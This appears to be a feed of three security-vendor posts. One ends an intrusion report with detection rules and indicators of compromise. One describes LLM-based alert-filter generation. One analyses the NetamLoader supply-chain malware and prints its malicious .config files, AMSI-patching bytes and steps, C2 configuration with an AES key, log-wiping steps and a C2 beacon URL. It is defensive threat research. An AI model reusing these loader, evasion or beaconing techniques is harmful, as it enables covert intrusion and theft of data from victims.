Dumping registry hives containing credentials using the reg.exe utility:

  • R230_02_Copying data containing credentials from the Windows registry

Dumping the lsass.exe process using the MiniDump function of the comsvcs.dll library:

  • R233_04_Process memory dump via comsvcs.dll
  • R262_Suspicious access to the LSASS process

DCSync and Golden Ticket attacks using the renamed mimikatz utility:

  • R073_DC Sync attack
  • R450_41_Golden Ticket Attack
  • R100_03_Traces of Mimikatz use via cmd

Lateral movement using WMIExec:

  • R460_08_Lateral movement using WMIexec Impacket
  • R460_09_Lateral movement using WMIExec and Impacket

For the rules to work, you must configure the SIEM system to receive the relevant events:

  • Process launches (Windows security log – 4688, auditd – execve) and PowerShell commands (4104)
  • User logins to the system (Windows security log – 4624, 4768, 4769)
  • Various object manipulations (Windows security log – 4662, 4663, 4656; auditd – openat)
  • Interaction with shared resources (Windows security log – 5145)

Indicators of compromise

File-based indicators:

CyberStrikeAI Windows Beacon
D726A8B4886C636F76CA6D30EF6A6FF4 c:\windows\temp\svchosts.exe
2770562d104391b92b42671c270079bb c:\windows\temp\svcmon32.exe
c:\programdata\svcmon32.exe
CyberStrikeAI Linux Beacon
09e1da2afa1216ecc55648ec8e122d2a
805B9E4AE74C903787416800999B8418
Tools & Scripts
29EFD64DD3C7FE1E2B022B7AD73A1BA5 C:\Windows\Temp\wdiag2.exe (mimikatz)
74F57B3E897A4960DCDD5B7E8A54F9DF c:\rwx\RogueWinRM.exe
0BBD08AF95F877F1D568B03DE2EB76B4 c:\ProgramData\p1.ps1 (reverse shell PS script)

Network indicators:

185.186.245[.]144 C2 for Windows Beacon
fastcdn[.]bar C2 for Windows Beacon
media.fastcdn[.]bar C2 for Linux Beacon
104.234.26[.]163 C2 for Payload Delivery + Linux Beacon

  •  

Filter generation in practice: from algorithms to LLMs

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

  • Review the logs
  • Identify the source of the activity
  • Define filtering boundaries
  • Choose filtering criteria
  • Write a rule
  • Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

  • In the filter, use fields other than the file path.
  • Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

  1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
  2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
  3. The generator selects the fields that are relevant to the filter.
  4. The generator normalizes the strings.
  5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
  6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

  • processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")
  • file_path:"*****/.pi\\agent\\bin\\fd.exe"
  • processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

  • file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"
  • filecmdline: "Get-VM -Name kafka\*"
  • filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

  • Selector: selects the relevant fields.
  • Generator: generates filters.
  • Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
  • Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

  • file_path:"sysvol\\domain\\scripts\\logon.bat"
  • file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"
  • autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

  • Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  • False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

  •  

Unknown APT uses NetamLoader to attack a Win10 OS customized for governments in Asia

Introduction

A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established.

The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report.

Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*.

Background

During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive:

C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d

Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework.

Initial infection

The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\:

Files compressed in the CAB file

Files compressed in the CAB file


Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments:

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

After the file is launched in this manner, the infection chain progresses to stage 1.

Stage 1

Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below.

Infection chain: Stage 1

Infection chain: Stage 1

Step 1

The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config.

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<runtime>
		<appDomainManagerType  value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration">
       </appDomainManagerType>
		<appDomainManagerAssembly  value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, 
                    Culture=neutral, PublicKeyToken=31bf3856ad364e35">
       </appDomainManagerAssembly>
		<NGenAssemblyUsageLog enabled="0" />
	</runtime>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" />
    </startup>
</configuration>

According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below:

<?xml version="1.0" encoding="utf-8"?>
<section name="foo">
    <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, 
                Version=4.0.0.0, Culture=neutral, 
                PublicKeyToken=b77a5c561934e089(Resources.resx)" />
</section>

Step 2

The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type (System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing.

In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded:

Multiple layers of payloads are compressed and encrypted in the .resx file

Multiple layers of payloads are compressed and encrypted in the .resx file

The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class.

Base64-encoded serialized binary object in Resources.resx

Base64-encoded serialized binary object in Resources.resx

Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack. The TypeConfuseDelegate then invokes XamlReader.Parse(), which loads a XAML payload (named XAML-1) embedded within the binary object.

XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary, logic equivalent to C# code can be expressed in an XML‑like syntax.

A code snippet of XAML-1

A code snippet of XAML-1

Step 3

The XAML-1 code acts as a loader for an embedded payload. The process is as follows:

  1. Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase.
  2. Generate the AES key by hashing the command‑line string with SHA‑256.
  3. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2.
  4. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load().
  5. If any exception occurs during decryption, trigger Environment.Exit(0), silently terminating the host process to prevent error messages that might reveal the attack.

Stage 2

XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage.

Infection chain: Stage 2

Infection chain: Stage 2

XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load().

A code snippet of XAML-2

A code snippet of XAML-2

XAML-2-1

The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning.

Sensitive strings in XAML-2-1 are cut into tiny pieces

Sensitive strings in XAML-2-1 are cut into tiny pieces

To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string.

The key steps it takes to achieve its goal are as follows:

  1. Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation.
  2. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID.
  3. Patch the AMSI module.
    • Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3).
    • Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject(). From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method.
    • Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear(), and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0).

One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks.

XAML-2-2

XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then uses the Assembly.CreateInstance() API to create an instance of the .NET 1 Loader and passes the Base64‑encoded JSON-1 to the m.C() method of .NET 1 Loader as a parameter.

.NET 1 Loader

.NET 1 Loader decodes, decompresses, and parses JSON‑1. The decoded and decompressed JSON‑1 is shown below:

{
    "p": "[Base64‑encoded JSON, which we call JSON‑1-p]"
    "c": "[Base64‑encoded JSON, which we call JSON‑1-c]"
}

  • JSON-1-c
    This JSON contains the configuration data that .NET 1 Loader uses to report the execution results of the loaded payload to the C2 server.
    sc false Flag. Determines whether to report the execution result of m.C(). When set to false, reporting to C2 is skipped.
    c null Reporting C2 server. The result returned by the m.C() method of .NET 1 Loader is sent to this server.
    tp null Unknown item, suspected to be a trusted SSL certificate. Thumbprint was used to verify this alleged C2 certificate.
    e null The AES key that encrypts the JSON result returned by the m.C() method of .NET 1 Loader.
  • JSON-1-p
    JSON-1-p is a more complex configuration file. .NET 1 Loader parses its data to prepare and load the subsequent stages. The following configuration keys store the payloads:
    • oib: Base64‑encoded .NET 2 Plugin (PE file)
    • oub: Base64‑encoded XAML that invokes Exit(0)
    • ibk: AES key used to decrypt ibi
    • ibi: A Base64‑encoded collection of compressed, encrypted XAML templates used to build XAML-3. Detailed instructions for decrypting and assembling XAML‑3 are provided in the XAML‑3 section below.

    Other items are passed as C2 configuration to the .NET 2 Plugin at a later stage.

    [
        {
            "c": [
                {
                    "cu": "https://openaigpt4v.com/model_v4/",
                    "tp": "*",
                    "rh": ""
                }
            ],
            "mib": 79200,
            "mab": 100800,
            "mis": 1200,
            "mas": 2400,
            "e": "9fT04e03tAiZAPogcDWt0w==",
            "ii":  null,
            "aop": null,
            "oib": "TVqQAAMAAAAEAAAA//8AALgAAAAAA...",
            "oub": "PFJlc291cmNlRGljdGlvbmFyeS...",
            "wi": 100801,
            "ibk": "W7BHmIRBRY3FOIfWprbW/ZJh5GbPND3sY+qCBDY7O2A=",
            "ibi": "4pUDtQVbD6leQrDvtT3gaaCLec...",
            "de": false
        }
    ]

After obtaining the configuration, .NET 1 Loader proceeds with the following key steps:

  1. Delete the update records from the system log related to the malicious update packages, along with the malicious files and cache files used in stage 1.
    • Delete malicious files extracted from the CAB
      PatchMyPC-ScriptRunner.exe.config
      fabric.config
      Resources.resx
    • Delete CLR usage logs and Windows system Prefetch cache files to eliminate evidence that could be used in forensic analysis.

      %LOCALAPPDATA%\Microsoft\CLR_v4.0\UsageLogs\PatchMyPC-ScriptRunner.exe.log
      %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf

    • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
      "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"

  2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
     
    For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
  3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
  4. Verify that the current user is an administrator; if not, throw an exception with code 128.
  5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
  6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
  7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
  8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
  9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
  10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
  11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.

    [
        {
            // Fixed value
            "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
            // Error number: 0 indicates successful execution
            "e": "0 ",
            // Value of config "ii"
            "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
        }
    ]

  12. POST the encrypted and encoded result to the reporting C2 server.

XAML-3


XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

The multi-layer encryption structure of "ibi"

The multi-layer encryption structure of “ibi”

The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

The C2 configuration in XAML‑P2 is shown below:

Item Value Description
ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
de False Local exception logging switch: when set to False, exception logging is enabled.
si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
rh   Additional route header/data: not configured in this instance.

When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

.NET 2 Plugin

This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

The following key steps are executed in this thread:

  1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
  2. Gather system information from the registry:
    • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
      "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
    • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
  3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
    • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
    • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
    • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
      DllSurrogate = ""
  4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
  5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
  6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
  7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
  8. Periodic polling:
    1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
    2. Obtain the system proxy using three methods (see the Discovering proxies section below).
    3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
    4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
    5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.

      // Final HTTP request URL
      "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"

    6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
    7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
    8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

AES encryption scheme for network traffic


All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

For a given master key and a single-byte seed, the derivation works as follows:

  1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
  2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
  3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
  4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

Seed Key type generated (client side) Key type generated (server side)
0 Decryption key Encryption key
1 Decryption authentication key Encryption authentication key
2 Encryption key Decryption key
3 Encryption authentication key Decryption authentication key

The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

Discovering proxies


.NET 2 Plugin detects the system proxy using three methods:

